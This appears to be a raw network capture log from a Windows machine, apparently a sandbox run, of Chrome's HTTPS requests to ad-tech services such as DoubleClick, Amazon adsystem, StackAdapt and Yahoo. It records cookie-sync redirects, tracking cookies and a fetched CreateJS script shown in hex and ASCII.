2024-04-27 22:42:15 UTC	339	IN	HTTP/1.1 302 Moved Temporarily Server: nginx Date: Sat, 27 Apr 2024 22:42:15 GMT Content-Length: 0 Connection: close Cache-Control: no-cache, no-store, must-revalidate Location: //bttrack.com/pixel/cookiesyncredir?rurl=https%3A%2F%2Fx.bidswitch.net%2Fsync%3Fdsp_id%3D151%26user_id%3D%7Bglobalid%7D%26expires%3D30%26ssp=triplelift

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
405	192.168.2.4	50250	54.209.244.95	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:15 UTC	631	OUT	GET /sync?nid=114&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid= HTTP/1.1 Host: sync.srv.stackadapt.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://eb2.3lift.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:42:15 UTC	1215	IN	HTTP/1.1 200 OK Content-Type: image/gif Date: Sat, 27 Apr 2024 22:42:15 GMT Set-Cookie: sa-user-id=s%3A0-b26851c3-7a83-50e6-56c2-722588816484.x9SNB3r%2Fl%2FzhiubdEca3tCnIjq6SCcsEJw1GniU%2BMAQ; Max-Age=31536000; Secure; SameSite=None Set-Cookie: sa-user-id=s%3A0-b26851c3-7a83-50e6-56c2-722588816484.x9SNB3r%2Fl%2FzhiubdEca3tCnIjq6SCcsEJw1GniU%2BMAQ; Domain=srv.stackadapt.com; Max-Age=31536000; Secure; SameSite=None Set-Cookie: sa-user-id-v2=s%3AsmhRw3qDUOZWwnIliIFkhJUSGEU.ubAIrXxZZq96ct1Ru%2FavCT0RWCYXbMVWgMg%2BG59%2B0pk; Max-Age=31536000; Secure; SameSite=None Set-Cookie: sa-user-id-v2=s%3AsmhRw3qDUOZWwnIliIFkhJUSGEU.ubAIrXxZZq96ct1Ru%2FavCT0RWCYXbMVWgMg%2BG59%2B0pk; Domain=srv.stackadapt.com; Max-Age=31536000; Secure; SameSite=None Set-Cookie: sa-user-id-v3=s%3AAQAKIHUfdmZBbmQjXo-ngyq2ysLgm8Y6QRFoXpPFGyuescbhEHwYBCDH_rWxBjABOgT87-jmQgSNirCE.ue1KC3ml%2FBUZY6cFHXjGiDA7DYN0fWDy19F7ts9b5Fs; Max-Age=31536000; Secure; SameSite=None Set-Cookie: sa-user-id-v3=s%3AAQAKIHUfdmZBbmQjXo-ngyq2ysLgm8Y6QRFoXpPFGyuescbhEHwYBCDH_rWxBjABOgT87-jmQgSNirCE.ue1KC3ml%2FBUZY6cFHXjGiDA7DYN0fWDy19F7ts9b5Fs; Domain=srv.stackadapt.com; Max-Age=31536000; Secure; SameSite=None Content-Length: 43 Connection: Close
2024-04-27 22:42:15 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 00 00 00 00 00 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
406	192.168.2.4	50259	52.46.155.104	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:15 UTC	711	OUT	GET /dcm?pid=50cd21b7-d8d7-4615-9fb9-a2be831f8488&id=&gdpr=0&us_privacy=1YNN HTTP/1.1 Host: s.amazon-adsystem.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://eus.rubiconproject.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ad-id=AyzDX-0vP0UYm8DYlkzC7x4; ad-privacy=0
2024-04-27 22:42:15 UTC	895	IN	HTTP/1.1 302 Found Server: Server Date: Sat, 27 Apr 2024 22:42:15 GMT Content-Length: 0 Connection: close x-amz-rid: E2H43KCPB4FMK2GVZ7JC Set-Cookie: ad-id=AyzDX-0vP0UYm8DYlkzC7x4; Domain=.amazon-adsystem.com; Expires=Wed, 01-Jan-2025 22:42:15 GMT; Path=/; Secure; HttpOnly; SameSite=None Set-Cookie: ad-privacy=0; Domain=.amazon-adsystem.com; Expires=Sun, 01-Jul-2029 22:42:15 GMT; Path=/; Secure; HttpOnly; SameSite=None Cache-Control: max-age=0, no-cache, no-store, private, must-revalidate, s-maxage=0 Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT p3p: policyref="https://www.amazon.com/w3c/p3p.xml", CP="PSAo PSDo OUR SAM OTR DSP COR" Location: https://pixel.rubiconproject.com/token?pid=2179&pt=n&puid=8dFku2giTPGwzNVGy6YEoA&rk=usync-na&gdpr=0 Vary: Content-Type,Accept-Encoding,User-Agent Strict-Transport-Security: max-age=47474747; includeSubDomains; preload

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
407	192.168.2.4	50260	142.251.167.154	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:15 UTC	918	OUT	GET /pixel?google_nid=rubicon&google_cm&google_sc&process_consent=T&gdpr=0&us_privacy=1YNN HTTP/1.1 Host: cm.g.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://eus.rubiconproject.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: IDE=AHWqTUkYo_qaJB8t4vD6z0JcvLuH2PUt4-24vSE0hsN84PAMJB6T_Vc-cTtoFUn2; ar_debug=1; APC=AfxxVi57njaBhV1ZeX-EyHfl729z-ajT-mAWBRM5lhyvI-DCu7Azfw
2024-04-27 22:42:15 UTC	690	IN	HTTP/1.1 302 Found P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Location: https://pixel.rubiconproject.com/tap.php?v=7751&nid=2249&expires=30&gdpr=0&put=CAESEKBI7ll4G0n6abkluYC6CoE&google_cver=1 Date: Sat, 27 Apr 2024 22:42:15 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Cross-Origin-Resource-Policy: cross-origin Content-Type: text/html; charset=UTF-8 Server: HTTP server (unknown) Content-Length: 337 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-27 22:42:15 UTC	337	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 54 49 54 4c 45 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 0a 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 70 69 78 65 6c 2e 72 75 62 69 63 6f 6e 70 72 6f 6a 65 63 74 2e 63 6f 6d 2f 74 61 70 2e 70 68 70 3f 76 3d 37 37 35 31 26 61 6d 70 3b 6e 69 64 3d 32 32 34 39 26 61 6d 70 3b 65 78 70 69 72 65 73 3d 33 30 26 61 6d 70 3b 67 64 70 72 3d 30 26 Data Ascii: <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>302 Moved</TITLE></HEAD><BODY><H1>302 Moved</H1>The document has moved<A HREF="https://pixel.rubiconproject.com/tap.php?v=7751&nid=2249&expires=30&gdpr=0&

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
408	192.168.2.4	50256	142.251.167.149	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:15 UTC	5012	OUT	GET /ddm/activity/attribution_src_register;crd=cXVlcnlfZXZlbnRfaWQgewogIHRpbWVfdXNlYzogMTcxNDI1NzczMjYzNTUyMgogIHNlcnZlcl9pcDogMTQxMDMzNzA4CiAgcHJvY2Vzc19pZDogNTg3OTQwNTI0Cn0KZmxvb2RsaWdodF9jb25maWdfaWQ6IDE0MDIyNjA3CmFkdmVydGlzZXJfZG9tYWluOiAiaHR0cHM6Ly9zZXJ0YS5jb20iCnhmYV9hdHRyaWJ1dGlvbl9pbnRlcmFjdGlvbl90eXBlOiBWSUVXCmltcHJlc3Npb25fcHJpb3JpdHk6IDAKaW1wcmVzc2lvbl9leHBpcnlfaW5fZGF5czogMzAKZXZlbnRfaW1wcmVzc2lvbl9pZDogMTYwODQzMDY5NzM0MDI2MTEwODIKZGVidWdfa2V5OiA5OTc5MjY5Mjg4MTYwNzA1Njg1CmltcHJlc3Npb25fbWVhc3VyZW1lbnRfZGltZW5zaW9uc19kYXRhIHsKICBtZWFzdXJlbWVudF9kaW1lbnNpb246IElNUFJFU1NJT05fRElNRU5TSU9OX1BST0RVQ1RfVFlQRQogIG1lYXN1cmVtZW50X2RpbWVuc2lvbl92YWx1ZSB7CiAgICBpbnQ2NF92YWx1ZTogMgogIH0KfQppbXByZXNzaW9uX21lYXN1cmVtZW50X2RpbWVuc2lvbnNfZGF0YSB7CiAgbWVhc3VyZW1lbnRfZGltZW5zaW9uOiBJTVBSRVNTSU9OX0RJTUVOU0lPTl9JTlRFUkFDVElPTl9UWVBFCiAgbWVhc3VyZW1lbnRfZGltZW5zaW9uX3ZhbHVlIHsKICAgIGludDY0X3ZhbHVlOiAzCiAgfQp9CmltcHJlc3Npb25fbWVhc3VyZW1lbnRfZGltZW5zaW9uc19kYXRhIHsKICBtZWFzdXJlbWVudF9kaW1lbnNpb246IElNUFJFU1NJT05fRElNRU5TS [TRUNCATED] Host: ad.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Attribution-Reporting-Eligible: event-source, trigger;navigation-source Referer: https://7436860ab4f2ffdc8403bd8e335cb51c.safeframe.googlesyndication.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: IDE=AHWqTUkYo_qaJB8t4vD6z0JcvLuH2PUt4-24vSE0hsN84PAMJB6T_Vc-cTtoFUn2; ar_debug=1; APC=AfxxVi57njaBhV1ZeX-EyHfl729z-ajT-mAWBRM5lhyvI-DCu7Azfw
2024-04-27 22:42:15 UTC	1380	IN	HTTP/1.1 200 OK P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Date: Sat, 27 Apr 2024 22:42:15 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Attribution-Reporting-Register-Source: {"aggregation_keys":{"12":"0xd89ba55d585d80d10000000000000000","13":"0x340fef28c956a6ee0000000000000000","14":"0x5f35f58cef853d7d0000000000000000","15":"0x28117c0c9e534d940000000000000000"},"debug_key":"9979269288160705685","debug_reporting":true,"destination":["https://serta.com","https://tuftandneedle.com","https://beautyrest.com"],"event_report_window":"345600","expiry":"2592000","filter_data":{"14":["45554537","45555710","45555713","45555716","45637501","45637504","45637510","45637513","45641380","45643765"],"21":[],"8":["14022607"]},"priority":"0","source_event_id":"16084306973402611082"} Content-Type: image/png Access-Control-Allow-Origin: * X-Content-Type-Options: nosniff Server: cafe Content-Length: 0 X-XSS-Protection: 0 Set-Cookie: ar_debug=1; expires=Mon, 27-May-2024 22:42:15 GMT; path=/; domain=.doubleclick.net; Secure; HttpOnly; SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
409	192.168.2.4	50268	69.147.92.11	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:15 UTC	1736	OUT	GET /setuid?bidder=criteo&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1&f=i&uid=k-9dDunaqp_dM1H477xpJOVC4AuDiiKJP3qhwpVg HTTP/1.1 Host: pbs.yahoo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ssp-sync.criteo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-YhU_4VlE2uKeNX7PHM8XonrbkezQHb0Z~A&dv360=eS1wZjlTZkxORTJ1RlFnUHQ3U1kxNlcuZkxvcHoyVTNzQX5B&ydsp=y-jbTZJGZE2uLrRZGRFNskE6ZV5Anw2j42~A&tbla=y-JBfSm7FE2uKAvLz8j1WHQk70S7DkHdso~A; tbla_id=5a70d3d2-b192-4103-be6f-b86fec483fbc-tuctd2704b2; uids=eyJ0ZW1wVUlEcyI6eyJhZG54cyI6eyJ1aWQiOiIxNDc2MDU4Mzk2ODUwMTU4MDYxIiwiZXhwaXJlcyI6IjIwMjQtMDUtMTFUMjI6NDI6MTAuNzcyNzc5NjkxWiJ9LCJvcGVueCI6eyJ1aWQiOiJlMzcxYjFjZC1iMjUzLTA5MTMtMTUzYS1lYWFjYjliOTRjNTMiLCJleHBpcmVzIjoiMjAyNC0wNS0xMVQyMjo0MjowNi4yMDMzNzYwOTVaIn0sInNoYXJldGhyb3VnaCI6eyJ1aWQiOiI1MWI5NTEzZC0zMWZiLTRlMTMtOGE5Ni0zMjY2MTZkMDA0M2YiLCJleHBpcmVzIjoiMjAyNC0wNS0xMVQyMjo0MjowNC44NTk4NDk2OFoifSwic292cm4iOnsidWlkIjoiSWtFU0FUWkg4MV9GYXB2elJ4R1FROHJ1IiwiZXhwaXJlcyI6IjIwMjQtMDUtMTFUMjI6NDI6MTEuODA0NjczMzE3WiJ9LCJ0dGQiOnsidWlkIjoiNDNlN2RjOGUtNTQ1OC00Mzc1LWJlNGEtNjQ0NzM3ZWQ0ZGJkIiwiZXhwaXJlcyI6IjIwMjQtMDUtMTFUMjI6NDI6 [TRUNCATED]
2024-04-27 22:42:15 UTC	1287	IN	HTTP/1.1 200 OK content-type: image/png set-cookie: uids=eyJ0ZW1wVUlEcyI6eyJhZG54cyI6eyJ1aWQiOiIxNDc2MDU4Mzk2ODUwMTU4MDYxIiwiZXhwaXJlcyI6IjIwMjQtMDUtMTFUMjI6NDI6MTAuNzcyNzc5NjkxWiJ9LCJjcml0ZW8iOnsidWlkIjoiay05ZER1bmFxcF9kTTFINDc3eHBKT1ZDNEF1RGlpS0pQM3Fod3BWZyIsImV4cGlyZXMiOiIyMDI0LTA1LTExVDIyOjQyOjE1Ljk0MjQxNjQ1OFoifSwib3BlbngiOnsidWlkIjoiZTM3MWIxY2QtYjI1My0wOTEzLTE1M2EtZWFhY2I5Yjk0YzUzIiwiZXhwaXJlcyI6IjIwMjQtMDUtMTFUMjI6NDI6MDYuMjAzMzc2MDk1WiJ9LCJzaGFyZXRocm91Z2giOnsidWlkIjoiNTFiOTUxM2QtMzFmYi00ZTEzLThhOTYtMzI2NjE2ZDAwNDNmIiwiZXhwaXJlcyI6IjIwMjQtMDUtMTFUMjI6NDI6MDQuODU5ODQ5NjhaIn0sInNvdnJuIjp7InVpZCI6IklrRVNBVFpIODFfRmFwdnpSeEdRUThydSIsImV4cGlyZXMiOiIyMDI0LTA1LTExVDIyOjQyOjExLjgwNDY3MzMxN1oifSwidHRkIjp7InVpZCI6IjQzZTdkYzhlLTU0NTgtNDM3NS1iZTRhLTY0NDczN2VkNGRiZCIsImV4cGlyZXMiOiIyMDI0LTA1LTExVDIyOjQyOjA5LjE3MzA1OTc2MVoifX19; Path=/; Domain=pbs.yahoo.com; Expires=Sat, 26 Oct 2024 22:42:15 GMT; HttpOnly; Secure; SameSite=None vary: Origin content-length: 86 date: Sat, 27 Apr 2024 22:42:15 GMT x-envoy-upstream-service-time: 2 server: ATS x-envoy-decorator-operation: pbs--production-usea5.mediaplatform-gcp-prod-monetization.svc.cluster.local:4080/* Referrer-Policy: no-referrer-when-downgrade Age: 0 Connection: close Strict-Transport-Security: max-age=31536000
2024-04-27 22:42:15 UTC	178	IN	Data Raw: 45 78 70 65 63 74 2d 43 54 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 2c 20 72 65 70 6f 72 74 2d 75 72 69 3d 22 68 74 74 70 3a 2f 2f 63 73 70 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 62 65 61 63 6f 6e 2f 63 73 70 3f 73 72 63 3d 79 61 68 6f 6f 63 6f 6d 2d 65 78 70 65 63 74 2d 63 74 2d 72 65 70 6f 72 74 2d 6f 6e 6c 79 22 0d 0a 58 2d 58 53 53 2d 50 72 6f 74 65 63 74 69 6f 6e 3a 20 31 3b 20 6d 6f 64 65 3d 62 6c 6f 63 6b 0d 0a 58 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2d 4f 70 74 69 6f 6e 73 3a 20 6e 6f 73 6e 69 66 66 0d 0a 0d 0a Data Ascii: Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only"X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniff
2024-04-27 22:42:15 UTC	86	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 08 06 00 00 00 1f 15 c4 89 00 00 00 04 73 42 49 54 08 08 08 08 7c 08 64 88 00 00 00 0d 49 44 41 54 08 99 63 60 60 60 60 00 00 00 05 00 01 87 a1 4e d4 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsBIT\|dIDATc````NIENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
410	192.168.2.4	50269	142.251.163.148	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:15 UTC	716	OUT	GET /ads/studio/cached_libs/createjs_2019.11.15_min.js HTTP/1.1 Host: s0.2mdn.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://s0.2mdn.net/sadbundle/10005337952414769934/PRO_NEW_MY24%20Prologue%20Launch_NSEV_NOIN_ENG_300x250_WDCH_H5_NV_LNM_MULT/MY24-PROLOGUE_LAUNCH_HTML_300x250_NC_AB.html?ev=01_250 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:42:16 UTC	767	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="ads-doubleclick-media" Report-To: {"group":"ads-doubleclick-media","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/ads-doubleclick-media"}]} Timing-Allow-Origin: * Content-Length: 242058 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Sat, 27 Apr 2024 22:42:15 GMT Expires: Sat, 27 Apr 2024 22:42:15 GMT Cache-Control: public, max-age=0 Last-Modified: Fri, 15 Nov 2019 19:16:20 GMT Content-Type: text/javascript Vary: Accept-Encoding Age: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-27 22:42:16 UTC	488	IN	Data Raw: 2f 2a 21 0a 2a 20 40 6c 69 63 65 6e 73 65 20 63 72 65 61 74 65 6a 73 0a 2a 20 56 69 73 69 74 20 68 74 74 70 3a 2f 2f 63 72 65 61 74 65 6a 73 2e 63 6f 6d 2f 20 66 6f 72 20 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2c 20 75 70 64 61 74 65 73 20 61 6e 64 20 65 78 61 6d 70 6c 65 73 2e 0a 2a 0a 2a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 32 30 31 31 2d 32 30 31 35 20 67 73 6b 69 6e 6e 65 72 2e 63 6f 6d 2c 20 69 6e 63 2e 0a 2a 0a 2a 20 44 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 74 68 65 20 74 65 72 6d 73 20 6f 66 20 74 68 65 20 4d 49 54 20 6c 69 63 65 6e 73 65 2e 0a 2a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 6f 70 65 6e 73 6f 75 72 63 65 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 73 2f 6d 69 74 2d 6c 69 63 65 6e 73 65 2e 68 74 6d 6c 0a 2a 0a 2a 20 54 68 69 73 Data Ascii: /! @license createjs* Visit http://createjs.com/ for documentation, updates and examples. Copyright (c) 2011-2015 gskinner.com, inc. Distributed under the terms of the MIT license.* http://www.opensource.org/licenses/mit-license.html** This
2024-04-27 22:42:16 UTC	1255	IN	Data Raw: 3d 6e 65 77 20 63 7d 2c 74 68 69 73 2e 63 72 65 61 74 65 6a 73 3d 74 68 69 73 2e 63 72 65 61 74 65 6a 73 7c 7c 7b 7d 2c 63 72 65 61 74 65 6a 73 2e 70 72 6f 6d 6f 74 65 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 63 3d 61 2e 70 72 6f 74 6f 74 79 70 65 2c 64 3d 4f 62 6a 65 63 74 2e 67 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 26 26 4f 62 6a 65 63 74 2e 67 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 28 63 29 7c 7c 63 2e 5f 5f 70 72 6f 74 6f 5f 5f 3b 69 66 28 64 29 7b 63 5b 28 62 2b 3d 22 5f 22 29 2b 22 63 6f 6e 73 74 72 75 63 74 6f 72 22 5d 3d 64 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3b 66 6f 72 28 76 61 72 20 65 20 69 6e 20 64 29 63 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 65 29 26 26 22 66 75 6e 63 74 69 6f Data Ascii: =new c},this.createjs=this.createjs\|\|{},createjs.promote=function(a,b){"use strict";var c=a.prototype,d=Object.getPrototypeOf&&Object.getPrototypeOf(c)\|\|c.__proto__;if(d){c[(b+="_")+"constructor"]=d.constructor;for(var e in d)c.hasOwnProperty(e)&&"functio
2024-04-27 22:42:16 UTC	1255	IN	Data Raw: 63 65 6c 61 62 6c 65 26 26 21 30 7d 2c 62 2e 73 74 6f 70 50 72 6f 70 61 67 61 74 69 6f 6e 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 70 72 6f 70 61 67 61 74 69 6f 6e 53 74 6f 70 70 65 64 3d 21 30 7d 2c 62 2e 73 74 6f 70 49 6d 6d 65 64 69 61 74 65 50 72 6f 70 61 67 61 74 69 6f 6e 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 69 6d 6d 65 64 69 61 74 65 50 72 6f 70 61 67 61 74 69 6f 6e 53 74 6f 70 70 65 64 3d 74 68 69 73 2e 70 72 6f 70 61 67 61 74 69 6f 6e 53 74 6f 70 70 65 64 3d 21 30 7d 2c 62 2e 72 65 6d 6f 76 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 72 65 6d 6f 76 65 64 3d 21 30 7d 2c 62 2e 63 6c 6f 6e 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 61 28 74 68 69 73 2e 74 79 70 65 2c 74 68 69 73 2e 62 75 Data Ascii: celable&&!0},b.stopPropagation=function(){this.propagationStopped=!0},b.stopImmediatePropagation=function(){this.immediatePropagationStopped=this.propagationStopped=!0},b.remove=function(){this.removed=!0},b.clone=function(){return new a(this.type,this.bu
2024-04-27 22:42:16 UTC	1255	IN	Data Raw: 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 76 61 72 20 64 3d 63 3f 74 68 69 73 2e 5f 63 61 70 74 75 72 65 4c 69 73 74 65 6e 65 72 73 3a 74 68 69 73 2e 5f 6c 69 73 74 65 6e 65 72 73 3b 69 66 28 64 29 7b 76 61 72 20 65 3d 64 5b 61 5d 3b 69 66 28 65 29 66 6f 72 28 76 61 72 20 66 3d 30 2c 67 3d 65 2e 6c 65 6e 67 74 68 3b 67 3e 66 3b 66 2b 2b 29 69 66 28 65 5b 66 5d 3d 3d 62 29 7b 31 3d 3d 67 3f 64 65 6c 65 74 65 20 64 5b 61 5d 3a 65 2e 73 70 6c 69 63 65 28 66 2c 31 29 3b 62 72 65 61 6b 7d 7d 7d 2c 62 2e 6f 66 66 3d 62 2e 72 65 6d 6f 76 65 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 2c 62 2e 72 65 6d 6f 76 65 41 6c 6c 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 73 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 3f 28 74 68 69 73 2e 5f 6c 69 73 74 65 6e 65 72 73 26 26 64 65 6c 65 Data Ascii: ction(a,b,c){var d=c?this._captureListeners:this._listeners;if(d){var e=d[a];if(e)for(var f=0,g=e.length;g>f;f++)if(e[f]==b){1==g?delete d[a]:e.splice(f,1);break}}},b.off=b.removeEventListener,b.removeAllEventListeners=function(a){a?(this._listeners&&dele
